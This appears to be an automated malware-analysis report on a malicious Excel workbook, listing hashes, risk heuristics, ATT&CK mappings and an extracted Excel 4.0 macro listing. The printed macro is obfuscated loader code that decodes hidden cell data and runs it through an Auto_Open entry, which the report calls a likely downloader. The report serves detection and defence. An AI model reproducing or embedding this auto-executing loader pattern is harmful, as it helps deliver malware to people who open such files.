Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e173aa2ba9a8fb33…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:44:56 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: a6bd28e7277384379e9f4ce4155e3091 SHA-1: 3b6c478ef4db3755949e81c48527737157a74645 SHA-256: e173aa2ba9a8fb339692cf8b908a284588c46e0be6772cd9983efc6e6205bd51
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel macro-enabled document containing Excel 4.0 (XLM) macros. The critical heuristics indicate the presence of an Auto_Open macro and the use of dangerous formula APIs, specifically the RUN function. This strongly suggests the macro is designed to execute arbitrary code, likely a downloader for a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6458 bytes
SHA-256: f69ee529bcefe756e4466f8e41b92f0064782ae0aa3e5bec9742613d7ccb2e83
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qQYFDZ
' 0018     21 LABEL : Cell Value, String Constant - AoAUzZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G152 
' 0018     23 LABEL : Cell Value, String Constant - aWfkgeQo len=0 
' 0018     24 LABEL : Cell Value, String Constant - bAvggbakA len=0 
' 0018     24 LABEL : Cell Value, String Constant - DKvVXHZrR len=0 
' 0018     25 LABEL : Cell Value, String Constant - eMQzLJTHmN len=0 
' 0018     20 LABEL : Cell Value, String Constant - FNwgp len=0 
' 0018     23 LABEL : Cell Value, String Constant - KXneGkRE len=0 
' 0018     22 LABEL : Cell Value, String Constant - MFrYWbj len=0 
' 0018     22 LABEL : Cell Value, String Constant - MhIIwgV len=0 
' 0018     23 LABEL : Cell Value, String Constant - NGxmUDBI len=0 
' 0018     23 LABEL : Cell Value, String Constant - nPhyaijt len=0 
' 0018     24 LABEL : Cell Value, String Constant - PcNdzDMUZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - qFLvs len=0 
' 0018     21 LABEL : Cell Value, String Constant - RFQBLD len=0 
' 0018     26 LABEL : Cell Value, String Constant - rkITtrniJKd len=0 
' 0018     20 LABEL : Cell Value, String Constant - SCBWb len=0 
' 0018     25 LABEL : Cell Value, String Constant - snUgHPQDOx len=0 
' 0018     22 LABEL : Cell Value, String Constant - sUMRwEl len=0 
' 0018     27 LABEL : Cell Value, String Constant - wkRUQkQcLxdv len=0 
' 0018     25 LABEL : Cell Value, String Constant - xEsImiZAkU len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qQYFDZ,G52,"SET.NAME("xEsImiZAkU",VALUE("0"))",""
'  qQYFDZ,G57,"SET.NAME("NGxmUDBI",xEsImiZAkU)",""
'  qQYFDZ,G62,"SET.NAME("DKvVXHZrR",xEsImiZAkU)",""
'  qQYFDZ,G67,"SET.NAME("nPhyaijt",COUNTA(RFQBLD))",""
'  qQYFDZ,G71,"SET.NAME("bAvggbakA",COUNTA(eMQzLJTHmN))",""
'  qQYFDZ,G75,[],""
'  qQYFDZ,G79,"SET.NAME("rkITtrniJKd","")",""
'  qQYFDZ,G82,"NGxmUDBI",""
'  qQYFDZ,G87,"SET.NAME("FNwgp",HLOOKUP("*",RFQBLD,NGxmUDBI,FALSE))",""
'  qQYFDZ,G91,"AoAUzZ",""
'  qQYFDZ,G94,"SET.NAME("sUMRwEl",xEsImiZAkU)",""
'  qQYFDZ,G96,[],""
'  qQYFDZ,G99,"sUMRwEl",""
'  qQYFDZ,G104,"MhIIwgV",""
'  qQYFDZ,G109,"qFLvs",""
'  qQYFDZ,G113,"PcNdzDMUZ",""
'  qQYFDZ,G115,"SET.NAME("aWfkgeQo",VALUE(HLOOKUP("*",eMQzLJTHmN,PcNdzDMUZ,FALSE)))",""
'  qQYFDZ,G119,"KXneGkRE",""
'  qQYFDZ,G122,"rkITtrniJKd",""
'  qQYFDZ,G125,"DKvVXHZrR",""
'  qQYFDZ,G130,NEXT(),""
'  qQYFDZ,G133,"snUgHPQDOx",""
'  qQYFDZ,G136,"SET.NAME("f",INT(T(FORMULA(T(rkITtrniJKd)&"",""&T(snUgHPQDOx)))))",""
'  qQYFDZ,G141,"SCBWb",""
'  qQYFDZ,G146,NEXT(),""
'  qQYFDZ,G149,RETURN(),""
'  qQYFDZ,G176,"SET.NAME("wkRUQkQcLxdv",G52)",""
'  qQYFDZ,G180,"RFQBLD",""
'  qQYFDZ,G184,"SET.NAME("eMQzLJTHmN",R68C11)",""
'  qQYFDZ,G187,"SET.NAME("SCBWb",195)",""
'  qQYFDZ,G189,"SET.NAME("MFrYWbj",7)",""
'  qQYFDZ,G194,wkRUQkQcLxdv(),""
'  qQYFDZ,G195,HALT(),""

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